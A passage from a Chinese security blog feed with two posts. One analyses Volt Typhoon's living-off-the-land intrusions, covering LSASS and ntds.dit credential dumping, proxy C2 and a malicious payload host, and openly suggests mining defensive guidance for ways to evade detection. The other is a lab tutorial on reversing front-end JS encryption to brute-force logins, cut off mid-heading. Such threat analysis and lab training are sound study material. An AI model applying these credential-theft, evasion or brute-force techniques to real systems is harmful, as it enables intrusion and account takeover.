    <content type="html"><![CDATA[<h1 id="Volt-Typhoon攻击剖析：LOTL与前期隐蔽的艺术"><a href="#Volt-Typhoon攻击剖析：LOTL与前期隐蔽的艺术" class="headerlink" title="Volt Typhoon攻击剖析：LOTL与前期隐蔽的艺术"></a>Volt Typhoon攻击剖析：LOTL与前期隐蔽的艺术</h1><p><strong>援引</strong>:<a href="https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/">Volt Typhoon 利用“离地生存”技术攻击美国关键基础设施</a></p><p><strong>援引：</strong><a href="https://www.securityweek.com/wp-content/uploads/2024/01/Volt-Typhoon.pdf">Volt Typhoon Compromises 30% of Cisco RV320&#x2F;325 Devices in 37 Days</a></p><p><strong>援引</strong>:<a href="https://unit42.paloaltonetworks.com/volt-typhoon-threat-brief/?utm_source=chatgpt.com">Threat Brief: Attacks on Critical Infrastructure Attributed to Insidious Taurus (Volt Typhoon)</a></p><p><strong>援引</strong>:<a href="https://pylos.co/2025/07/23/will-the-real-salt-typhoon-please-stand-up/">Will the Real Salt Typhoon Please Stand Up?</a></p><p><strong>援引</strong>:<a href="https://www.cisa.gov/sites/default/files/2025-03/Joint-Guidance-Identifying-and-Mitigating-LOTL508.pdf?utm_source=chatgpt.com">cisa Volt Typhoon Report</a></p><p><strong>LOTL参考:</strong><a href="https://lolbas-project.github.io/">LOLBAS</a></p><p><img src="/posts/a27ef720/6f575420-9f1e-34af-ad7e-d61a71524ccb.png" alt="img"></p><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>在APT攻击的演进史中，我们见证了从”重装甲”到”轻骑兵”的战术转变。Volt Typhoon作为这一转变的典型代表，为我们展示了现代高级持续性威胁的新范式：不依赖复杂恶意代码，而是精通”借力打力”的艺术。</p><p>本文将深入解析Volt Typhoon的完整攻击体系，**从其标志性的LOTL（Living Off The Land）技术出发，延展到身份滥用、代理隐匿、长期潜伏等核心战术。**同时毕竟是21-24年左右的攻击手法，<strong>援引文章也给出了防御方案与具体排查思路，笔者认为亦可以针对给出的方案与排查思路，挖掘更多具有价值的触发点以规避检测。</strong></p><p>“草木有本心平常，侠亦折取作剑歌”——系统自带的工具<strong>本心平常，但一旦被巧妙运用，便成了最难察觉的武器。</strong></p><h2 id="一句话评价"><a href="#一句话评价" class="headerlink" title="一句话评价"></a>一句话评价</h2><p>Volt Typhoon 的特色就是 <strong>“不写恶意代码，做影子管理员”</strong> —— 他们把存在感压到最低，只在身份体系和合法工具里打转，靠“像合法运维一样”的行为实现渗透与控制。</p><h2 id="VoltTypoon简介"><a href="#VoltTypoon简介" class="headerlink" title="VoltTypoon简介"></a>VoltTypoon简介</h2><p><strong>身份</strong>：某国家级APT组织，活动溯源至少 <strong>2017 起</strong>，目标以 <strong>关键基础设施</strong> 为主（通信、能源、交通、海事、政府等）。</p><p><strong>目的</strong>：情报收集、持久潜伏、战时破坏预置。</p><p><strong>特殊之处</strong>：几乎不使用自研木马&#x2F;恶意样本，最大限度地降低“特征暴露”，靠 <strong>合法工具 + 有效账号</strong> 实现持久控制，OPSEC 水平极高。</p><h4 id="手法小结（OPSEC-核心技巧）"><a href="#手法小结（OPSEC-核心技巧）" class="headerlink" title="手法小结（OPSEC 核心技巧）"></a>手法小结（OPSEC 核心技巧）</h4><ol><li><strong>Living off the Land (LOTL)</strong></li></ol><ul><li>大量调用系统自带工具：<code>wmic</code>、<code>netsh</code>、<code>schtasks</code>、<code>powershell</code>、<code>certutil</code>、<code>rundll32</code> 等。</li><li>通过父子进程链和命令行参数混淆常见恶意行为，让检测难度骤增。</li></ul><ol><li><strong>凭证与身份滥用</strong></li></ol><ul><li>窃取或暴力获取有效账户，横向移动全靠“合法凭证”。</li><li>偏好使用 <strong>域用户、服务账号</strong>，避免 drop 明显的 implant。</li><li>利用身份体系（AD、Azure Entra ID、OAuth token）来做持久化与横向。</li></ul><ol><li><strong>代理链与出网隐匿</strong></li></ol><ul><li>借助 <strong>受感染的 SOHO 路由器</strong>、边缘设备搭建代理网络。</li><li>通信流量伪装成普通用户流量，且跨多个跳点，最终出口可能落在住宅 IP 段。</li><li>C2 模式倾向 <strong>低带宽、长连接、非高频交互</strong>，降低告警。</li></ul><ol><li><strong>长期潜伏与静默策略</strong></li></ol><ul><li>行为非常“节制”：只在有需要时触发动作，避免异常高频命令。</li><li>横向时优先依赖管理协议（SMB&#x2F;WMI&#x2F;WinRM&#x2F;RDP），最大限度靠“看似正常”的管理员操作。</li><li>在目标内部维持 <strong>数月乃至数年</strong> 不被发现。</li></ul><h2 id="Volt-Typhoon-行为建模"><a href="#Volt-Typhoon-行为建模" class="headerlink" title="Volt Typhoon 行为建模"></a>Volt Typhoon 行为建模</h2><p>Volt Typhoon 自 2021 年中以来一直活跃，其目标是<strong>关岛及美国其他地区的关键基础设施组织</strong>。此次攻击活动中，受影响的组织涵盖通信、制造、公用事业、交通运输、建筑、海事、政府、信息技术和教育等行业。观察到的行为表明，<strong>威胁行为者意图进行攻击活动，并尽可能长时间地保持访问权限而不被发现。</strong></p><p><img src="/posts/a27ef720/b3b1c76a-3851-3216-8aa9-56a5dffe7e3e.png" alt="img"></p><p>有关 Volt Typhoon 的信息，包括其针对关键基础设施提供商的攻击活动，以及其实现和维持未经授权访问目标网络的策略。<strong>由于此活动依赖于有效帐户和“离地攻击”（LOLBins），因此检测和缓解此类攻击可能颇具挑战性。被盗用的帐户必须关闭或更改。</strong></p><p>为了实现目标，威胁行为者在此次活动中非常注重隐蔽性，<strong>几乎完全依赖于</strong> <a href="https://www.microsoft.com/en-us/security/blog/2018/09/27/out-of-sight-but-not-invisible-defeating-fileless-malware-with-behavior-monitoring-amsi-and-next-gen-av/">“离地攻击”技术</a><strong>和实际操作</strong>。他们通过命令行发出命令以用于</p><p> (1) 收集数据，包括来自本地和网络系统的凭证；</p><p>(2) 将数据存入存档文件，以便进行数据泄露；</p><p>(3) 使用窃取的有效凭证保持持久性。</p><p>此外，<strong>Volt Typhoon 还试图通过将流量路由到受感染的小型办公室和家庭办公室 (SOHO) 网络设备（包括路由器、防火墙和 VPN 硬件）来混入正常的网络活动</strong>。此外，据观察，他们还使用自定义版本的开源工具通过代理建立命令与控制 (C2) 通道，以进一步降低其隐蔽性。</p><h3 id="攻击向量示意图"><a href="#攻击向量示意图" class="headerlink" title="攻击向量示意图"></a>攻击向量示意图</h3><p><img src="/posts/a27ef720/Figure-1-storm-0391-attack-diagram-1024x388.webp" alt="img"></p><h3 id="战前准备"><a href="#战前准备" class="headerlink" title="战前准备"></a>战前准备</h3><p>Volt Typhoon 会在入侵前进行广泛的侦察，以<strong>了解目标组织的网络架构和操作协议。侦察工作包括识别网络拓扑、安全措施、典型用户行为以及关键网络和 IT 人员</strong>。Volt Typhoon 攻击者收集的情报可能会被用来增强其运营安全性。例如，在某些情况下，Volt Typhoon 攻击者可能避免在正常工作时间以外使用已泄露的凭证， 以避免触发异常账户活动的安全警报。</p><p>根据行业报告，Volt Typhoon 攻击者**使用 FOFA、Shodan 和 Censys 查询或搜索暴露的基础设施。**在某些情况下，美国情报机构观察到 Volt Typhoon 攻击者在入侵后会将关键网络和 IT 员工的个人电子邮件作为攻击目标。</p><h3 id="初始访问"><a href="#初始访问" class="headerlink" title="初始访问"></a>初始访问</h3><p>Volt Typhoon 通过暴露在公网的 Fortinet FortiGuard 设备初步获得了对目标组织的访问权限。<strong>Maybe(0day&#x2F;泄露口令)</strong> 。在后续操作中<strong>Volt Typhoon 利用被攻陷的 SOHO 网络边缘设备（包括路由器)构成了一个僵尸网络，通过这些设备进行代理，Volt Typhoon 增强了其运营的隐蔽性并降低了获取基础设施的管理成本</strong></p><p><img src="/posts/a27ef720/775faa23-eb40-3691-b1de-f4c00aeedc80.png" alt="img"></p><p>安全公司在扫描前面提到的僵尸网络中的一些思科路由器时发现，这些设备的配置残留里有执行过的 <code>wget</code> 命令，指向一个恶意 IP 地址 <strong>45.11.92[.]176</strong>，并下载运行了一个叫 <strong>fy.sh</strong> 的脚本。后续分析确认，这个 IP 曾经是 Volt Typhoon 的有效载荷服务器。</p><p><img src="/posts/a27ef720/8e4e72b4-81fa-3068-95d3-f0f9450fb75b.png" alt="img"></p><p><strong>对载荷服务器的流量样本进一步提取分析，可以确定Vault Typhoon 利用即将到达年限的SOHO，Draytek等网络边缘设备作为肉鸡网络作为大跳板代理所有流量</strong></p><p><img src="/posts/a27ef720/84ae0bd9-739a-3769-8de4-e8ac6157b0c2.png" alt="img"></p><p><img src="/posts/a27ef720/14eb1d24-58bc-389e-a923-562df6d42097.png" alt="img"></p><h3 id="入侵后的活动"><a href="#入侵后的活动" class="headerlink" title="入侵后的活动"></a>入侵后的活动</h3><p>一旦 Volt Typhoon 进入目标环境，他们就会开始通过命令行进行实际操作。其中一些命令似乎是探索性或实验性的，因为操作员会反复调整和执行这些命令。</p><p>Volt Typhoon 在入侵后活动中<strong>很少使用恶意软件。相反，他们依靠“离地攻击”命令来查找系统信息</strong>、发现网络上的其他设备并窃取数据。我们将在以下章节中描述他们的活动，包括与凭证访问相关的最具影响力的操作。</p><p>Volt Typhoon的隐秘性实现，一项关键策略**包括使用 PowerShell 对 Windows 事件日志执行定向查询，重点关注特定用户和时间段。这些查询有助于将安全事件日志谨慎提取到 .dat 文件中，**从而使 Volt Typhoon 攻击者能够在最大限度地降低检测风险的同时收集关键信息。<strong>这种策略将深入的入侵前侦察与细致的入侵后情报收集相结合，凸显了他们复杂而战略性的网络行动方法。</strong></p><p>Volt Typhoon 至少使用以下 LOTL 工具和命令来获取系统信息、网络服务、组和用户发现技术：</p><p><img src="/posts/a27ef720/7739bbd6-dfef-3792-b7e3-9d10f14aeea8.png" alt="img"></p><p>这个思维和Micro8大佬的<a href="https://micro8.gitbook.io/micro8/contents-1/91-100/91-cong-mu-biao-wen-jian-zhong-zuo-xin-xi-sou-ji-di-yi-ji">目标文件拓宽信息收集</a>有异曲同工之妙</p><h3 id="凭证提取与访问"><a href="#凭证提取与访问" class="headerlink" title="凭证提取与访问"></a>凭证提取与访问</h3><p>如果 Volt Typhoon <strong>从 Fortinet 设备中窃取的帐户具有特权访问权限，他们会使用该帐户执行以下凭据访问活动。</strong></p><p>微软已观察到 Volt Typhoon 试图<a href="https://attack.mitre.org/techniques/T1003/001/">通过本地安全机构子系统服务 (LSASS)</a> 转储凭据。LSASS 进程内存空间包含当前用户<a href="https://www.microsoft.com/security/blog/2022/10/05/detecting-and-preventing-lsass-credential-dumping-attacks/">操作系统 (OS) 凭据</a>的哈希值。</p><p>在LOLBAS中 <strong>也有提供类似的攻击向量Payload</strong></p><p><img src="/posts/a27ef720/4f9f029e-a190-3f7a-9f38-3efbf8bdcb63.png" alt="img"></p><h4 id="comsvcs-dll-dump"><a href="#comsvcs-dll-dump" class="headerlink" title="comsvcs.dll dump"></a>comsvcs.dll dump</h4><p><strong>命令原文</strong></p><p><img src="/posts/a27ef720/936942c5-6f95-348a-b6ce-98932f5e476b.jpeg" alt="img"></p><p><strong>解码后</strong></p><p><img src="/posts/a27ef720/b18b8f91-36be-3301-ab35-f3d8bfe4e20b.jpeg" alt="img"></p><h4 id="Ntdsutil-exe-创建-ntds-dit"><a href="#Ntdsutil-exe-创建-ntds-dit" class="headerlink" title="Ntdsutil.exe 创建 ntds.dit"></a>Ntdsutil.exe 创建 ntds.dit</h4><p><strong>Volt Typhoon 还经常尝试使用命令行工具</strong> *<strong>Ntdsutil.exe*</strong> **从域控制器（远程或本地）创建安装介质。**这些介质旨在用于<a href="https://social.technet.microsoft.com/wiki/contents/articles/8630.active-directory-step-by-step-guide-to-install-an-additional-domain-controller-using-ifm.aspx">安装新的域控制器 </a>。安装介质中的文件包含用户名和密码哈希值，威胁行为者可以离线破解这些哈希值，从而获得有效的域帐户凭据，<strong>以便在失去访问权限后重新获得受感染组织的访问权限。</strong></p><ul><li>远程</li></ul><p><img src="/posts/a27ef720/36b638d0-5758-345b-a8c9-d023b240c157.jpeg" alt="img"></p><ul><li>本地</li></ul><p><img src="/posts/a27ef720/14451665-0b47-34ba-9f6f-9ba0482c33dc.jpeg" alt="img"></p><h4 id="MRC分析内存数据"><a href="#MRC分析内存数据" class="headerlink" title="MRC分析内存数据"></a>MRC分析内存数据</h4><p>据情报显示，Volt Typhoon还会使用合法的非本地网络管理和取证工具。例如，据观察，<strong>Volt Typhoon 攻击者在域控制器上使用 Magnet RAM Capture (MRC) 1.20 版</strong>。MRC 是一款免费的映像工具，可以捕获计算机的物理内存，<strong>Volt Typhoon 攻击者很可能使用它来分析内存数据，以获取敏感信息（例如凭证）和通常无法在磁盘上访问的传输中数据。</strong></p><h4 id="使用-VSS-卷影副本远程提取-ntds-dit"><a href="#使用-VSS-卷影副本远程提取-ntds-dit" class="headerlink" title="使用 VSS 卷影副本远程提取 ntds.dit"></a><strong>使用 VSS 卷影副本</strong>远程提取 ntds.dit</h4><p>为了获得 NTDS.dit，观察到 Volt Typhoon：</p><ol><li>使用具有域管理员权限的受损帐户 ，通过交互式 RDP 会话横向移动到域控制器；</li><li>执行 Windows 原生的 vssadmin命令创建卷影副本；</li><li>使用 Windows 管理规范控制台 (WMIC) 命令 执行 ntdsutil (一个 LOTL 实用程序)，从卷影副本中复制 NTDS.dit 和 SYSTEM 注册表配置单元</li><li>窃取 NTDS.dit 和 SYSTEM 注册表配置单元以离线破解密码 。注意：卷影副本包含指定卷上所有文件和文件夹的副本。在 DC 上创建的每个卷影副本都包含其 NTDS.dit 和 SYSTEM 注册表配置单元，后者提供解密 NTDS.dit 文件的密钥。</li></ol><h3 id="探测行为"><a href="#探测行为" class="headerlink" title="探测行为"></a>探测行为</h3><p>**微软观察到 Volt Typhoon 会发现系统信息，包括文件系统类型、驱动器名称、大小和可用空间、正在运行的进程以及开放网络。**他们还会尝试使用 PowerShell、Windows 管理规范命令行 (WMIC) 和 <em>ping</em> 命令来发现受感染网络上的其他系统。<strong>在少数情况下，威胁行为者会运行系统检查，以确定其是否在虚拟化环境中运行。</strong></p><p><img src="/posts/a27ef720/e27ba049-e8a3-30c6-a8d3-2fc4a02901a5.png" alt="img"></p><h3 id="转储"><a href="#转储" class="headerlink" title="转储"></a>转储</h3><p>除了<strong>操作系统和域凭据</strong>外，Volt Typhoon 还会转储本地 Web 浏览器应用程序中的信息。微软还观察到威胁行为者将收集到的数据暂存在受密码保护的档案中。</p><h3 id="C2"><a href="#C2" class="headerlink" title="C2"></a>C2</h3><p>在大多数情况下，Volt Typhoon 会像授权用户一样，使用有效凭证登录来访问受感染的系统。然而，在少数情况下，微软观察到 Volt Typhoon 的操作员会<strong>在受感染的系统上创建代理以方便访问</strong>。他们使用内置的 <a href="https://learn.microsoft.com/windows-server/networking/technologies/netsh/netsh-interface-portproxy"><em>netsh portproxy</em></a> 命令来实现这一点。</p><p><img src="/posts/a27ef720/4d7980b8-a804-3a8e-bb58-c044d722fb1f.jpeg" alt="img"></p><p>在极少数情况下，<strong>他们还使用开源工具 Impacket 和快速反向代理 (FRP) 的定制版本通过代理建立 C2 通道。</strong></p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>Volt Typhoon的LOTL攻击艺术为我们展示了现代APT组织的演进方向：<strong>从”有形”到”无形”，从”对抗”到”融入”</strong>。</p><p><img src="/posts/a27ef720/SEI_157415255.jpg" alt="img"></p><p>他们的成功不在于技术的复杂性，而在于<strong>战术的简约性</strong>——放弃自研恶意代码的”重装甲”，选择系统原生工具的”轻骑兵”；抛弃暴力对抗的”正面战场”，转向身份滥用的”游击战术”。这种<strong>以正合，以奇胜</strong>的思路，让传统基于特征检测的防御体系显得力不从心。</p><p>Volt Typhoon的成功公式可以概括为：<em><strong>LOTL技术 + 身份滥用 + 肉鸡隐匿 + 静默潜伏</strong></em>。他们证明了一个重要观点：在攻防博弈中，”无形”往往比”有形”更具威胁性。</p>]]></content>
    
    
    <summary type="html">草木有本心平常，侠亦折取作剑歌</summary>
    
    
    
    <category term="research" scheme="https://blog.sudo.online/categories/research/"/>
    
    
    <category term="APT" scheme="https://blog.sudo.online/tags/APT/"/>
    
    <category term="身份隐藏" scheme="https://blog.sudo.online/tags/%E8%BA%AB%E4%BB%BD%E9%9A%90%E8%97%8F/"/>
    
  </entry>
  
  <entry>
    <title>JS对抗与逆向_基础篇</title>
    <link href="https://blog.sudo.online/posts/92226b38/"/>
    <id>https://blog.sudo.online/posts/92226b38/</id>
    <published>2025-08-20T12:41:43.000Z</published>
    <updated>2025-12-14T13:55:26.999Z</updated>
    
    <content type="html"><![CDATA[<h2 id="本质"><a href="#本质" class="headerlink" title="本质"></a>本质</h2><p>JS的对抗 <strong>本质无非就是开发者通过一系列加密算法防止用户恶意爆破，攻击者通过逆向，推测与实践实现自加密逻辑爆破的过程</strong>。</p><p><img src="/posts/92226b38/image-20250822222901893.png" alt="image-20250822222901893"></p><h5 id="环境靶场："><a href="#环境靶场：" class="headerlink" title="环境靶场："></a>环境靶场：</h5><p><a href="https://github.com/0ctDay/encrypt-decrypt-vuls/">0ctDay&#x2F;encrypt-decrypt-vuls: 加解密逻辑漏洞靶场 (github.com)</a></p><p><strong>援引</strong>：<a href="https://forum.butian.net/share/3728">保姆级教程—前端加密的对抗（附带靶场）</a></p><p><a href="https://xz.aliyun.com/news/18630">手把手js逆向断点调试&amp;js逆向前端加密对抗&amp;企业SRC实战分享</a></p><h2 id="网站架构"><a href="#网站架构" class="headerlink" title="网站架构"></a>网站架构</h2><p>关于加解密也引出许多思考，<strong>第一是实现HTTP加解密是一对一实现的吗？第二是如果把数据包加密了，那安全设备是不是也失效了</strong>，这里带着几个疑问简单了解一下加解密的实现流程。</p><p>这里以请求为例</p><p><img src="/posts/92226b38/attach-4190a50bed262763e81b9024a0431c9d1638098e.png" alt="image.png"></p><p>用户输入<strong>明文消息在被JS提取后， 通过JS中定义的加密方法进行加密并制作请求包进行请求。 发送到后端后，一般来说由加解密网关进行解密后</strong>， 发送到真正提供服务的服务器上。</p><p><strong>加解密网关本质其实就是一种反向代理</strong>，除了本身转发数据包的功能以外，还对数据包进行解密。</p><p>按照这种部署模式，有两个优势：</p><ol><li>如果新增分布式系统， 无需重复实现加解密功能， 直接使用作为该网关的下游服务即可。</li><li>在springcloud gateway和 分布式系统之间部署安全设备， <strong>可以检测明文流量识别攻击行为</strong>。</li></ol><h2 id="改包的防范"><a href="#改包的防范" class="headerlink" title="改包的防范"></a>改包的防范</h2><p>先汇总一下<strong>目前流行的防止改包方式</strong></p><p>主要是这么几个方面</p><h5 id="1-请求参数和路径的加密"><a href="#1-请求参数和路径的加密" class="headerlink" title="1. 请求参数和路径的加密"></a>1. 请求参数和路径的加密</h5><ul><li><p>如果原始请求是GET请求，或防止访问者获取请求路径，<strong>通常会将用户实际的请求路径和GET请求参数封装都封装为POST请求的请求体</strong>，通过加解密网关再还原为原始GET请求传入后端分布式服务上。 在APP中比较常见。</p><p>表现的形式通常为： <strong>抓包后发现访问任何功能都是同一路径，并且请求全为密文</strong></p></li></ul><h5 id="2-请求体的加密"><a href="#2-请求体的加密" class="headerlink" title="2. 请求体的加密"></a>2. 请求体的加密</h5><ul><li>这类在纯web中最常见， 通常仅仅加密接口请求的请求体内容，但有以下几类加密问题。<ul><li>使用<strong>固定密钥</strong> — 顾名思义， 这种情况一般JS中会存储密钥， 属于最简单的一种</li><li>使用<strong>动态密钥</strong> — JS中不存储，一般用户第一次请求后将密钥加密写入COOKIE或本地存储中， 这类加密追踪难度较大。</li><li><strong>对称加密</strong> — 加解密数据包内容同一套密钥</li><li><strong>非对称加密</strong> — 加密一套解密一套</li><li>算法 — 算法就不是特别固定了， 常见的诸如AES RSA等， 也遇到过使用国密算法或一些冷门算法。</li></ul></li></ul><h5 id="3-签名"><a href="#3-签名" class="headerlink" title="3. 签名"></a>3. 签名</h5><ul><li><strong>签名的应用也十分广泛，app，小程序和现在许多web中均存在</strong>，签名的构成主要是以下几点<ul><li>RequestId — 为了<strong>防止重放攻击</strong>, 客户端生成随机RequestId 服务端接收后保存至Redis中, 如果再次接收到此RequestID, 则视为非法请求</li><li>时间戳 — <strong>添加时间戳的超时时间, 一旦超时, 原始数据包失效</strong></li><li>签名本身 — <strong>通过 requestId + 原始请求体或请求参数 + 时间戳 + 盐值合并生成哈希值</strong> 从而保证以上参数的有效性和唯一性</li></ul></li></ul><h2 id="JS逆向"><a href="#JS逆向" class="headerlink" title="JS逆向"></a>JS逆向</h2><p>需要懂得<strong>基础的JS知识，和调试方法</strong></p><h3 id="JS调试基础"><a href="#JS调试基础" class="headerlink" title="JS调试基础"></a>JS调试基础</h3><p>本质就是以浏览器的Devtools控制与调试js前端代码</p><p><img src="/posts/92226b38/20250819144529-18baada2-7cc8-1.png" alt="img"></p><p>其中里面的<strong>作用域，调用堆栈，XHR断点</strong>这三个功能需要了解认识下</p><p><img src="/posts/92226b38/20250819144530-18ec07a8-7cc8-1.png" alt="img"></p><h4 id="一、作用域（Scope）"><a href="#一、作用域（Scope）" class="headerlink" title="一、作用域（Scope）"></a>一、作用域（Scope）</h4><p>作用域是指变量、函数和对象在代码中可访问的范围，决定了标识符（变量名、函数名）的可见性。</p><p><strong>主要类型：</strong></p><p><strong>全局作用域</strong>：在所有函数和代码块之外声明的变量，在整个程序中都可访问。 </p><p> <strong>函数作用域</strong>：在函数内部声明的变量，仅在该函数内部可访问。 </p><p><strong>块级作用域</strong>：由 <code>&#123;&#125;</code> 包裹的代码块（如 <code>if</code>、<code>for</code>、<code>while</code>）中用 <code>let</code>&#x2F;<code>const</code> 声明的变量，仅在块内可访问。 </p><p>和大部分<strong>语言变量作用域概念的思路共通</strong></p><h4 id="二、调用堆栈（Call-Stack）"><a href="#二、调用堆栈（Call-Stack）" class="headerlink" title="二、调用堆栈（Call Stack）"></a>二、调用堆栈（Call Stack）</h4><p>调用堆栈是JavaScript引擎用于管理函数调用顺序的一种数据结构（遵循“<strong>后进先出</strong>”原则）。</p><p><strong>工作原理：</strong></p><ul><li><p>当函数被调用时，引擎会为其创建一个“执行上下文”并压入栈顶</p></li><li><p>函数执行完毕后，其执行上下文从栈顶弹出，控制权回到之前的函数。</p></li><li><p>栈顶始终是当前正在执行的函数。</p></li></ul><h4 id="三-、XHR断点（XHR-Breakpoint）"><a href="#三-、XHR断点（XHR-Breakpoint）" class="headerlink" title="三 、XHR断点（XHR Breakpoint）"></a>三 、XHR断点（XHR Breakpoint）</h4><p>XHR断点是<strong>浏览器开发者工具中的一种调试功能</strong>，用于在发送AJAX请求（XMLHttpRequest 或 Fetch）时暂停代码执行，方便调试网络请求相关逻辑。</p><p><strong>使用场景：</strong></p><ul><li><p>调试接口请求参数是否正确</p></li><li><p>查看请求发送时机和触发条件</p></li><li><p>分析请求被拦截或修改的逻辑</p></li></ul><h4 id="四、-js基础断点调试"><a href="#四、-js基础断点调试" class="headerlink" title="四、 js基础断点调试"></a>四、 js基础断点调试</h4><p>我们这里随便输入一个电话号码以及密码，直接看这个网络这里，可以看到账户输入的账户、密码都被进行了加密</p><p>其中我们常见的加密内容是md5、base64加密的，但是下面这个系统加密的一看就不是常见的加密方式</p><p><img src="/posts/92226b38/20250819144530-19468a52-7cc8-1.png" alt="img"></p><p>像这个，我们要是想要在我们输入账户密码的后，在传输到服务器端中可以将其加密的字段截取，然后进行分析，看看这个网站是使用什么类型进行加密的，就可以进行破解了，这就是后面我需要讲的js断点调试。</p><p><strong>认识下这几个按钮工具</strong></p><p>工具栏作为断点调试的操作工具，包含了 6 个按钮：</p><ul><li><p>按钮 1：让代码继续执行，运行到下一个断点会中断执行，如果没有设置断点会直接运行完代码</p></li><li><p>按钮 2：跳过下一个函数调用。即不遇到函数时，执行下一步；遇到函数时，不进入函数直接执行下一步</p></li><li><p>按钮 3：跳进下一个函数上下文。即不遇到函数时，执行下一步；遇到函数时，进入函数上下文，查看函数具体内容</p></li><li><p>按钮 4：跳出当前函数调用</p></li><li><p>按钮 5：单步调试，当前断点的下一步</p></li><li><p>按钮 6：停用&#x2F;激活全部断点</p></li></ul><p><img src="/posts/92226b38/20250819144531-19ac4efa-7cc8-1.png" alt="img"></p><h5 id="情景1"><a href="#情景1" class="headerlink" title="情景1"></a>情景1</h5><p><img src="/posts/92226b38/20250819144531-19fd5c6e-7cc8-1.png" alt="img"></p><p>这里直接搜索Vip&#x2F;LoginResult接口关键字，因为我们断点调试的话需要点击web端端某个个功能点，出发我们后面打的断点才可以成功，<strong>这里我们开始点击登陆，直接请求的是这个接口，所有这里我们可以先搜索这个Vip&#x2F;LoginResult关键词看看</strong></p><p>直接打开源代码 ctrl+shift+f全局检索</p><p><img src="/posts/92226b38/20250819144532-1a4be2b4-7cc8-1.png" alt="img"></p><p>找到这个有关登陆功能处的代码，然后<strong>打断点</strong></p><p><img src="/posts/92226b38/20250819144533-1a9f1086-7cc8-1.png" alt="img"></p><p>点击登陆按钮，就可以成功执行断点了，右边那个按钮就是执行到下一个断点</p><p><img src="/posts/92226b38/20250819144534-1b8ab0e2-7cc8-1.png" alt="img"></p><p>可以看到图中，代码断点运行成功了，<strong>在控制台输入logindata，就可以显示对应的加密数据了（手机号、密码）</strong></p><p><img src="/posts/92226b38/20250819144535-1c18dd8c-7cc8-1.png" alt="img"></p><h5 id="情景2"><a href="#情景2" class="headerlink" title="情景2"></a>情景2</h5><p>老规矩还是直接输入**手机号和密码，然后看F12中的网络数据包，**可以看到这里的密码也是进行了加密</p><p><img src="/posts/92226b38/20250819144536-1caab3f8-7cc8-1.png" alt="img"></p><p>找到登陆口附近的js代码，寻找publickey关键字</p><p><img src="/posts/92226b38/20250819144537-1d228ae8-7cc8-1.png" alt="img"></p><p>这里先随机设置一个断点</p><p>设置好断点后，点击登录，即可触发断点，进行 js 断点的调试。</p><p><img src="/posts/92226b38/20250819144538-1db0e13a-7cc8-1.png" alt="img"></p><p>可以看到点击完登陆，出现了这个功能</p><p><img src="/posts/92226b38/20250819144539-1e4a7662-7cc8-1.png" alt="img"></p><p>常见的js逆向加密搜索关键字：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">encrypt</span><br><span class="line">encryptedData</span><br><span class="line">setPublicKey</span><br><span class="line">publicKey</span><br></pre></td></tr></table></figure><p>直接进行js断点调试，在控制台输入dataJson.password，就可以看到密码的js加密数据</p><h5 id="情景3"><a href="#情景3" class="headerlink" title="情景3"></a>情景3</h5><p><strong>标签断点法</strong></p><p><img src="/posts/92226b38/20250819144541-1fb90d7e-7cc8-1.png" alt="img"></p><p>F12，然后点击1，然后把鼠标选中2（登陆功能上）</p><p><img src="/posts/92226b38/20250819144542-206625ae-7cc8-1.png" alt="img"></p><p>然后<strong>右键选中“登陆”标签</strong>，将<strong>子树修改，和属性修改都勾选上</strong>。然后我们随便输入一个账号密码点击登录</p><p><img src="/posts/92226b38/20250819144543-20ea19d8-7cc8-1.png" alt="img"></p><p>这样就可以成功 <strong>把运行的js代码给断下来</strong>了，但是目前这个网站今天写文章的时候已经找不到加密函数了，可能是已经修复了这个系统</p><p><img src="/posts/92226b38/20250819144544-21645b06-7cc8-1.png" alt="img"></p><h4 id="五、针对算法对症下药"><a href="#五、针对算法对症下药" class="headerlink" title="五、针对算法对症下药"></a>五、针对算法对症下药</h4><h5 id="AES固定Key"><a href="#AES固定Key" class="headerlink" title="AES固定Key"></a><strong>AES固定Key</strong></h5><p>第一种比较简单，<strong>key和iv写死</strong>，抓包发现数据传输被加密了</p><p><img src="/posts/92226b38/20250819144555-27c7d25c-7cc8-1.png" alt="img"></p><p>这里直接定位搜索“<strong>encryptedData</strong>”加密字段定位到算法位置</p><p><img src="/posts/92226b38/20250819144555-2810460c-7cc8-1.png" alt="img"></p><p>简单的分析，就是一个固定<strong>key 和iv 的aes加密</strong>，直接还原明文数据</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;&quot;username&quot;:&quot;admin&quot;,&quot;password&quot;:&quot;123456&quot;&#125;</span><br></pre></td></tr></table></figure><p><img src="/posts/92226b38/20250819144555-284bc36e-7cc8-1.png" alt="img"></p><p>这里阐述一个<strong>解密工具</strong></p><p><strong>autoDecoder</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">工具下载链接：https://github.com/f0ng/autoDecoder</span><br></pre></td></tr></table></figure><p><img src="/posts/92226b38/20250819144550-2503bf90-7cc8-1.png" alt="img"></p><p><a href="https://blog.csdn.net/2202_75361164/article/details/144360050">使用教程</a></p><h5 id="AES服务端获取key"><a href="#AES服务端获取key" class="headerlink" title="AES服务端获取key"></a>AES服务端获取key</h5><p><strong>key和iv没有写在前端，直接使用bp抓包即可</strong></p><p><img src="/posts/92226b38/20250819144556-28864bb0-7cc8-1.png" alt="img"></p><p><img src="/posts/92226b38/20250819144556-28cb5cbe-7cc8-1.png" alt="img"></p><p>这里使用<strong>bp插件autoDecoder</strong>，先配置自带的方法，红框的配置要注意配置好</p><p><img src="/posts/92226b38/20250819144557-291f515c-7cc8-1.png" alt="img"></p><p>主页面配置，<strong>仅登录所以关键字写了password</strong></p><p><img src="/posts/92226b38/20250819144557-2964582e-7cc8-1.png" alt="img"></p><p>然后进入intruder进行爆破登录尝试</p><p><img src="/posts/92226b38/20250819144558-29b40108-7cc8-1.png" alt="img"><strong>成功爆破</strong></p><p> <img src="/posts/92226b38/20250819144558-29fd6776-7cc8-1.png" alt="img"></p><h5 id="非对称加密-RSA-加解密"><a href="#非对称加密-RSA-加解密" class="headerlink" title="非对称加密-RSA 